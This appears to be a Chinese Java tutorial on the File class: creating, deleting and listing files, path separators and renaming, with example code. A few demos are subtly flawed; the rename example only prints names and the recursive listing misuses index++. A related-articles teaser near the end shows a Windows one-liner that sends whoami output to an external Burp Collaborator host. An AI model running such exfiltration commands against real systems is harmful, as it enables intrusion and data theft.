javaIO流(一)--File类的基本使用
一.File文件操作类
在java语言中提供有对于文件操作系统的支持,这个支持就在java.io.File类中进行了定义,也就是说在整个java.io包中File类是唯一一个与文件本身操作有关的类(创建,删除,重命名)有关的类,而如果想要进行File类的操作,我们需要提供有完整的路径支持,而后可以调用相应的方法进行处理
--打开JDK的文档,可以发现File类是Comparable接口的子类,所以File类对象是可以进行排序处理的(Windows系统可以将文件根据创建日期,文件名,大小来进行排序).而进行File类处理的时候,我们需要为其设置访问路径,那么对于路径的配置,主要通过构造方法来进行处理:
File(File parent, String child)
从父抽象路径名和子路径名字符串创建新的 File实例。
File(String pathname)
通过将给定的路径名字符串转换为抽象路径名来创建新的 File实例。
File(String parent, String child)
从父路径名字符串和子路径名字符串创建新的 File实例。
File(URI uri)
通过将给定的 file: URI转换为抽象路径名来创建新的 File实例
--范例:使用File类常见一个文件:
public class MyFileDemo {
public static void main(String[] args) throws IOException {
File file = new File("D:\\demo1.txt");
//如果现在想要进行文件的基本操作,可以使用如下的基本方法:
/* 1.public boolean createNewFile()throws IOException 创建新文件
(true,文件不存在,成功创建,false,文件已经存在,创建失败)*/
/*2.判断文件是存在: public boolean exists()*/
/*3.public boolean delete()删除当前文件*/
if (file.exists()) {
System.out.println("当前文件已经存在,首先删除当前文件");
System.out.println(file.delete() ? "删除文件成功" : "删除文件失败");
}
System.out.println(file.createNewFile() ? "创建文件成功" : "创建文件失败");
}
}
--可以发现File类实现的就是文件本身的的处理,文件内容的处理并不属于File类的范畴
二.File类的深入操作
现在已经实现文件的基础操作,但是对于这个操作是存在一些问题的,对代码进行优化处理:
--在实际的软件项目开发和运行过程中,往往都会在Windows系统中进行项目的开发,而在项目部署的时候通常会在Linux系统中进行发布部署,以保证项目发布的安全性;
在不用的操作系统之中,会存在不同的路径分隔符:Windows分隔符"\",Linux分隔符"/",所以正最初进行开发的时候,就必须考虑不同系统环境下的分隔符的问题,因此为了解决这一问题,Flie类提供有一个常量:public static final String separator;(这是历史版本遗留的分隔符静态常量,变量名为小写)
--范例:正常的路径编写:
public class MyFileDemo {
public static void main(String[] args) throws IOException {
File file = new File("D:" + File.separator + "demo1java.txt");
//如果现在想要进行文件的基本操作,可以使用如下的基本方法:
/* 1.public boolean createNewFile()throws IOException 创建新文件
(true,文件不存在,成功创建,false,文件已经存在,创建失败)*/
/*2.判断文件是存在: public boolean exists()*/
/*3.public boolean delete()删除当前文件*/
if (file.exists()) {
System.out.println("当前文件已经存在,首先删除当前文件");
System.out.println(file.delete() ? "删除文件成功" : "删除文件失败");
}
System.out.println(file.createNewFile() ? "创建文件成功" : "创建文件失败");
}
}
--但是随着系统的适应性的不断加强,对于当前的路径操作,也可以使用随意使用了,无关"/","\",但是对于标准来讲,更建议使用这个常量
--在使用Flies类进行文件处理的时候,需要注意的是,程序的主要操作流程:程序-->JVM-->操作系统函数-->文件处理,所以进行同一文件的删除和创建操作时,会出现短暂的延迟,因此在非比较情况下不建议进行重名的文件处理
--在进行文件创建的时候,有一个重要的前提:文件的父路径必须首先存在:
public class MyFileDemo {
public static void main(String[] args) throws IOException {
File file = new File("D:" + File.separator + "java_test"
+ File.separator + "java_demo" + File.separator + "demo1java.txt");
//如果现在想要进行文件的基本操作,可以使用如下的基本方法:
/* 1.public boolean createNewFile()throws IOException 创建新文件
(true,文件不存在,成功创建,false,文件已经存在,创建失败)*/
/*2.判断文件是存在: public boolean exists()*/
/*3.public boolean delete()删除当前文件*/
/*4.获取父路径getParentFile public File getParentFile() */
/*5.创建目录:
* public boolean mkdir()创建单个目录
* public boolean mkdirs()创建多个目录*/
if(!file.getParentFile().exists()){ //父路径不存在
System.out.println(file.getParentFile().mkdirs()?"创建父路径成功":"创建父路径失败"); //创建父路径
}
System.out.println(file.createNewFile()?"创建文件成功":"创建文件失败");
}
}
--这种判断并建立父路径的操作,在很多情况下可能只要一次,但是如果将这个判断一直都停留在代码中,将会导致时间复杂度的提升,如果要想提升性能,请先保证目录已经创建,从而逐步提升性能
三.文件信息获取
除了可以进行文件的操作之外,也可以通过File类获取文件本身提供的信息:
class MathUtil {
private MathUtil() {
}
/**
* 实现四舍五入操作
*
* @param num 当前的数字信息
* @param scale 要保留的小数位数
* @return 四舍五入的结果
*/
public static double round(double num, int scale) {
return Math.round(Math.pow(10, scale) * num) / Math.pow(10, scale);
}
}
public class MyFileTest {
public static void main(String[] args) {
//文件是否可读:boolean canRead()
//文件是否可写:boolean canWrite()
File file = new File("d:" + File.separator + "java_test" + File.separator + "my.png");
System.out.println("文件是否可读: " + file.canRead());
System.out.println("文件是否可写: " + file.canWrite());
//获取文件的长度long length() 即获取文件大小
System.out.println("文件大小: " + MathUtil.round(file.length() / (double) 1024 / 1024, 2) + "Mb");
//获取文件的最后一次修改的日期时间 long lastModified()
System.out.println("最后的修改时间: " +
new SimpleDateFormat("yyyy-MM-dd HH:mm:sss").format(new Date(file.lastModified())));
//查看该文件是否为目录boolean isDirectory()
//查看该文件是否为文件boolean isFile()
System.out.println("查看是否为目录: " + file.isDirectory());
System.out.println("查看是否为文件: " + file.isFile());
//我们发现既然可以判断还是否为目录,那么是否可以在判断是目录之后返回该目录下的所有子目录以及目录文件呢
System.out.println("========列出目录内容========");
//列出目录内容 public File[] listFiles();
File directory = new File("F:" + File.separator + "idea_workspace");
if(directory.isDirectory()){ //判断当前这是一个目录
File[] files = directory.listFiles();
for (int i = 0; i < files.length; i++) {
System.out.println(files[i]);
}
}
}
}
--这些新的获得都是文件或目录本身的操作,都不设计到文件内容的处理
--范例:列出指定目录的全部文件:
public class ListAllFileDemo {
public static void main(String[] args) {
//设置任意一个目录的路径,而后将这个目录中所有文件的信息都进行打印输出处理
//可以采用递归的方法来实现
Scanner scanner = new Scanner(System.in);
String dir = scanner.next();
File file = new File(dir);
if (!file.isDirectory()) {
System.out.println("当前输入的路径并不是一个文件夹路径");
} else {
listDir(file, 1);
}
}
/**
* 列出当前输入文件目录的所有文件列表
*
* @param file 当前的文件夹路径
* @param index 请输入1
*/
public static void listDir(File file, int index) {
File thisFile = file; //当前的文件路径
StringBuilder tab = new StringBuilder(); //间隔处理符
File[] files = thisFile.listFiles();
for (int i = 0; i < index - 1; i++) {
tab.append(" ");
}
for (File f : files) {
System.out.println(tab.toString() + f);
if (f.isDirectory()) {
listDir(f, index++);
}
}
}
}
--范例:批量修改文件名称
public class MyModifyFileNameDemo {
public static void main(String[] args) {
/*程序运行时输入目录名称,并把该目录下的所有文件名后缀修改为txt*/
//文件的路径必须以最后一个.为止
//如果存在后缀,则为修改,否则为追加
Scanner scanner = new Scanner(System.in);
System.out.println("请输入目录名称:");
renameDir(new File(scanner.next()));
}
public static void renameDir(File file) {
if (file.isDirectory()) {
File[] files = file.listFiles();
for (File f : files) {
renameDir(f);
}
} else {
File parentFile = file.getParentFile();
String name = file.getName();
if (name.contains(".")) {
name = name.substring(0, name.lastIndexOf(".")) + ".txt";
} else {
name = name + ".txt";
}
System.out.println(name);
}
}
}
javaIO流(一)--File类的基本使用的更多相关文章
- IO流,File类的测试........课堂加总结
package liu0926; import java.io.File; import java.io.IOException; public class Text01 { public stati ...
- IO流(File类,IO流的分类,字节流和字符流,转换流,缓冲流,对象序列化)
1.File类 File类可以在程序中 操作文件和目录.File类是通过建立File类对象,在调用File类的对象来进行相关操作的. 示例: public class Demo01 { public ...
- java基础之-I/O流和File类解析
在日常的java开发中少不了文件的读取和 写入,这就涉及到文件的I/O操作,今天就来总结下文件的IO操作,顺便文件的IO操作也需要File了的帮助,所以一起总结了. 以下图片为我根据其他博客所总结的内 ...
- Java-IO流之File操作和Properties操作
java的File类主要是用来操作文件的元数据,稍作演示如下: 其中方法getAllJavaFile()是使用了过滤器FileFileter,这个过滤器只需要实现accept方法,判断什么样的文件返回 ...
- -1-4 java io java流 常用流 分类 File类 文件 字节流 字符流 缓冲流 内存操作流 合并序列流
File类 •文件和目录路径名的抽象表示形式 构造方法 •public File(String pathname) •public File(String parent,Stringchild) ...
- JAVASE(十六) IO流 :File类、节点流、缓冲流、转换流、编码集、对象流
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 1.File类型 1.1.File类的理解 File类是在java.io包下 File可以理解成一个文件 ...
- IO流(File类
File类 三个构造方法 File(String filename)//模式和应用程序一个目录下 File(String directoryPath,String filename)//文件的绝对路径 ...
- 【Java IO流】File类的使用
File类的使用 Java中的File类是在java.io.File中,Java.IO.File类表示文件或目录. File类只用于表示文件(目录)的信息(名称.大小等),不能用于文件内容的访问. 一 ...
- java基础——IO流之File类
1.File类的构造方法: File(String pathName):通过一个指定的字符串类型路径来创建一个文件对象 File (String parent,String child):通过指定 ...
随机推荐
- 2019牛客暑期多校训练营(第一场) - E - ABBA - 贪心 - dp - 组合
https://ac.nowcoder.com/acm/contest/881/E 从dp的角度来看是比较正常的.无后效性来源于前面只要的合法的方案分配,那么对后面造成的影响就只有A,B的数目. 从贪 ...
- c# 获取 Apk ,Aar 文件包名
最近项目有个需求,需要拿到前端上传的Apk或者Aar文件里面的包名. 在这里贡献出来,方便有需求的小伙伴. 项目是 asp.net core 2.2 需要安装 nuget : AndroidXml S ...
- JS方法使用中文出参数 ,报错异常
正常这样加载数字没问题,但是当参数是中文时就会报错 <li onclick='onSeach(‘’" + name+ "');'>" + name+ &quo ...
- Ajax ——数据解析
Ajax应用中数据解析是非常重要的一件事情.一般服务器返回数据有三种格式:txt , xml, json 1.解析txt 当服务器返回的数据为字符串,则这种Ajax数据 ...
- 20180119-01-RACSignal的基础
一.获取一个信号的方式 1.单元信号 RACSignal *signal1 = [RACSignal return:@"Some Value"]; RACSignal *signa ...
- ssh-keygen - 认证密钥的产生, 管理和转换
总览 (SYNOPSIS) ssh-keygen -words [-q ] [-b bits ] -t type [-N new_passphrase ] [-C comment ] [-f outp ...
- Codeforces 963B Destruction of a Tree 思维+dfs
题目大意: 给出一棵树,每次只能摧毁有偶数个度的节点,摧毁该节点后所有该节点连着的边都摧毁,判断一棵树能否被摧毁,若能,按顺序输出摧毁的点,如果有多种顺序,输出一种即可 基本思路: 1)我一开始自然而 ...
- python2和python3的编码encode解码decode函数
python比较坑的一个点:意义完全变了的两个函数 首先 常用的编码方式有3种,utf-8: 常用的传输和存储格式,Unicode的一种简化 Unicode:包括了所有可能字符的国际统一编码 GBK ...
- 利用HTTP、DNS通道测试无回显的命令执行
windows下通过start命令 for /F %X in ('whoami') do start http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollabo ...
- List和Tuple的中的method对比